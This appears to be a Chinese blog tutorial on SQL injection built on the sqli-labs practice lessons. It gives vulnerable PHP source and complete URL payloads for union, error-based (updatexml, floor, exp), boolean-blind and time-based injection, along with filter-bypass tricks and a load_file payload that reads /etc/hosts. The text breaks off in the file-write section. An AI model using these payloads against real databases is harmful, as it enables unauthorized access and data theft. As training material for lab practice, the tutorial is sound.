SQL注入攻击入门详解

参考书目:《CTF特训营》《从0到1CTFer成长之路》

目录

1 什么是SQL注入

2 可回显的注入

2.1 可以联合查询的注入

2.2 报错注入

2.2.1 updatexml

2.2.2 floor

2.2.3 exp

3 不可回显的注入

3.1 Bool盲注

3.2 时间注入


1 什么是SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入的分类:

1)可回显的注入

  • 可以联合查询的注入
  • 报错注入
  • 通过注入进行DNS请求,从而达到可回显的目的

2)不可回显的注入

  • Bool盲注
  • 时间注入

3)二次注入

2 可回显的注入

2.1 可以联合查询的注入

测试使用的环境:sqlilab lesson1

源码如下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

联合查询只需闭合前面的单引号,注释掉后面的单引号,中间写上需要的payload即可

注意传递参数时遇到+,查询语句中并没有加号,这是因为服务器在处理用户输入时自动将加号转义为空格

http://1.15.59.63:81/Less-1/index.php?id=-5%27%20union%20select%201,database(),3%20--%20

注意注释后面引号时要使用"--%20"

成功注入

2.2 报错注入

测试使用的环境:sqlilab lesson5

2.2.1 updatexml

updatexml(XML_document, XPath_string, new_value)

XML_document是文档对象的名称

XPath_string是XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值)

new_value替换查找到的数据

// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}

updatexml(1,concat(1,payload),1)。

concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,显示出要查的对象。

http://1.15.59.63:81/Less-5/index.php?id=-1%27%20union%20select%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--%20

成功注入

2.2.2 floor

参考链接:https://blog.csdn.net/zpy1998zpy/article/details/80650540

floor()报错注入准确地说应该是floor,count,group by冲突报错

是当这三个函数在特定情况一起使用产生的错误。

and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a

loor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一个别名,就是x就等于floor(rand(0)*2),这样做的目的是让group by 和 floor(rand(0)*2)相遇,造成冲突报错

http://1.15.59.63:81/Less-5/index.php?id=-1%27%20union%20select%201%20from%20(select%20count(*),concat(database(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a%23

2.2.3 exp

exp报错的本质原因时溢出报错

http://1.15.59.63:81/Less-5/index.php?id=-1%27%20union%20select%201,2,exp(~(select%20*%20from%20(select%20user())x))--%20

3 不可回显的注入

3.1 Bool盲注

测试使用的环境:sqlilab lesson8

源码如下

// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}

这条语句判断mysql中的version函数的返回值的第一个字符是否为5,通过前面的知识可知道,当条件成立时,页面将显示有You are in,否则没有。

通过类似的手段我们可以获取到database(),@@datadir,user(),以及整个数据库的信息。

http://1.15.59.63:81/Less-8/index.php?id=1%27%20and%20substr(version(),1,1)=5--+

测试结果如下

3.2 时间注入

测试使用的环境:sqlilab lesson9

源码如下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}

时间盲注的本质时由于服务器拼接了sql语句,但是正确和错误存在同样的回显。错误信息被过滤,不过,可以通过页面响应时间进行按位判断数据

http://1.15.59.63:81/Less-9/index.php?id=1%27%20and%20if(substr(version(),1,1)=5,sleep(10),1)--+

测试如下所示

4 注入点的位置及发现

4.1 常见注入点的位置

  • GET参数中注入
  • POST参数中注入
  • User-Agent中注入

            可以通过设置sqlmap的参数level=3,这样sqlmap会自动检测User-Agent是否存在注入点

  • Cookies中注入

            可以通过设置sqlmap的参数level=2,这样sqlmap会自动检测Cookies是否存在注入点

4.2 判断注入点是否存在

  • 插入单引号
  • 数字型判断
  • 通过数字的加减进行判断

5 SQL注入绕过

5.1 过滤关键字

即过滤如select or from等关键字。有些题目中未设置递归过滤,而且刚好将关键字替换为空。这时可以使用穿插关键字的方法进行绕过操作。

如:selselectect

也可以通过大小写转换

如果过滤函数通过十六进制进行过滤,可以对关键字的个别字母进行替换

select selec\x74

或者通过双重URL编码绕过

5.2 过滤空格

1)通过注释绕过空格符

#、--、//、/**/、;%00

select/**/username

2)通过URL编码绕过

%20

3)通过空白字符绕过

如换行符

4)通过特殊符号,利用反引号绕过空格

select`user`

5)科学计数法绕过

5.3 过滤单引号

魔术引号,也就是PHP配置文件php.ini中magic_quote_gpc

5.4 绕过相等过滤

mysql中存在utf8_unicode_ci和utf8_general_ci两种编码格式

utf8_general_ci不仅不区分大小写,而且A''=A也成立

5 SQL读写文件

在用户拥有File权限的情况下,可以使用load_file和into outfile/dumpfile进行读写

?id=-1+union+select+load_file('/etc/hosts')

写入类似

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值